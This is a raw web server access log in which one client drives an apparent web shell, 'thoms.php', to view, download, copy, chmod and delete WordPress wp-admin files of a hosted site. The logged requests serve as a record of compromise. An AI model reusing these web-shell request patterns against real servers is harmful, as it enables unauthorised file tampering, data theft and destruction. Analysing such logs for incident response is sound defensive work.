45.135.193.11 - - [11/Sep/2026:23:48:07 -0400] "GET /booking-wise2.com.tw/wp-admin/font-library.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:07 -0400] "GET /thoms.php?dl=async-upload.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?dl=async-upload.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:07 -0400] "GET /thoms.php?chmod=ms-users.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=ms-users.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:07 -0400] "GET /thoms.php?dl=nav-menus.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=nav-menus.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:07 -0400] "GET /booking-wise2.com.tw/wp-admin/setup-config.php HTTP/1.1" 409 1225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fplugin-install.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fplugin-install.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:07 -0400] "GET /booking-wise2.com.tw/wp-admin/edit-comments.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:07 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=themes.php HTTP/1.1" 200 23814 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:07 -0400] "GET /thoms.php?dl=options-head.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28842 "http://163.245.207.76:443/thoms.php?dl=options-head.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:07 -0400] "GET /thoms.php?del=options-general.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=options-general.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:08 -0400] "GET /thoms.php?del=options-writing.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28842 "http://163.245.207.76:443/thoms.php?del=options-writing.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fupdate.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fupdate.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:08 -0400] "GET /booking-wise2.com.tw/wp-admin/about.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:08 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=upgrade-functions.php HTTP/1.1" 200 12122 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=upgrade-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:08 -0400] "GET /thoms.php?chmod=admin-functions.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=admin-functions.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:08 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=edit-tag-form.php HTTP/1.1" 200 15346 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=edit-tag-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:08 -0400] "GET /thoms.php?dl=customize.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=customize.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Flink-add.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Flink-add.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:08 -0400] "GET /booking-wise2.com.tw/wp-admin/js/ HTTP/1.1" 200 3731 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:08 -0400] "GET /thoms.php?del=ms-edit.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=ms-edit.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:08 -0400] "GET /thoms.php?del=post-new.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28829 "http://163.245.207.76:443/thoms.php?del=post-new.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:08 -0400] "GET /thoms.php?dl=setup-config.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?dl=setup-config.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:09 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=admin-ajax.php HTTP/1.1" 200 13870 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=admin-ajax.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:09 -0400] "GET /booking-wise2.com.tw/wp-admin/load-scripts.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:09 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=edit-comments.php HTTP/1.1" 200 16620 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=edit-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:09 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=tools.php HTTP/1.1" 200 13459 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=tools.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fwidgets-form.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fwidgets-form.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:09 -0400] "GET /thoms.php?del=edit-link-form.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=edit-link-form.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:09 -0400] "GET /thoms.php?del=edit-tags.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28838 "http://163.245.207.76:443/thoms.php?del=edit-tags.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fuser-edit.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fuser-edit.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:09 -0400] "GET /thoms.php?chmod=credits.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=credits.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:09 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=customize.php HTTP/1.1" 200 16385 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=customize.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:09 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Flink-manager.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Flink-manager.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:09 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=ms-delete-site.php HTTP/1.1" 200 14065 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=ms-delete-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:09 -0400] "GET /thoms.php?chmod=css&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=css&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-discussion.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-discussion.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:10 -0400] "GET /thoms.php?chmod=user-new.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=user-new.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:10 -0400] "GET /thoms.php?dl=admin-ajax.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=admin-ajax.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:10 -0400] "GET /thoms.php?dl=ms-options.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=ms-options.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:10 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=admin-functions.php HTTP/1.1" 200 12160 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=admin-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fadmin.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fadmin.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:10 -0400] "GET /thoms.php?del=revision.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28842 "http://163.245.207.76:443/thoms.php?del=revision.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:10 -0400] "GET /thoms.php?dl=tools.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=tools.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:10 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=edit-form-blocks.php HTTP/1.1" 200 18000 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=edit-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:10 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin%2Fjs HTTP/1.1" 200 28296 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fedit.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fedit.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:11 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=moderation.php HTTP/1.1" 200 12091 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=moderation.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:11 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=my-sites.php HTTP/1.1" 200 14129 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=my-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:11 -0400] "GET /thoms.php?chmod=js&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=js&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:11 -0400] "GET /thoms.php?del=site-editor.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28810 "http://163.245.207.76:443/thoms.php?del=site-editor.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:11 -0400] "GET /thoms.php?dl=edit-form-comment.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=edit-form-comment.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:11 -0400] "GET /thoms.php?chmod=admin-post.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=admin-post.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:11 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=index.php HTTP/1.1" 200 15235 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:11 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fms-themes.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11442 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fms-themes.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:11 -0400] "GET /thoms.php?chmod=options-permalink.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=options-permalink.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:11 -0400] "GET /thoms.php?dl=profile.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:11 -0400] "GET /booking-wise2.com.tw/wp-admin/site-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:11 -0400] "GET /booking-wise2.com.tw/wp-admin/site-health.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:11 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fplugin-editor.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fplugin-editor.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:12 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=authorize-application.php HTTP/1.1" 200 15632 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=authorize-application.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:12 -0400] "GET /thoms.php?del=js&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=js&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:12 -0400] "GET /thoms.php?dl=comment.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:12 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Flink.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11429 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Flink.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:12 -0400] "GET /booking-wise2.com.tw/wp-admin/ms-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:12 -0400] "GET /thoms.php?del=contribute.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28812 "http://163.245.207.76:443/thoms.php?del=contribute.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:12 -0400] "GET /thoms.php?chmod=network&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=network&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:12 -0400] "GET /thoms.php?del=ms-sites.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=ms-sites.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:12 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=admin-post.php HTTP/1.1" 200 12683 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=admin-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:12 -0400] "GET /booking-wise2.com.tw/wp-admin/moderation.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
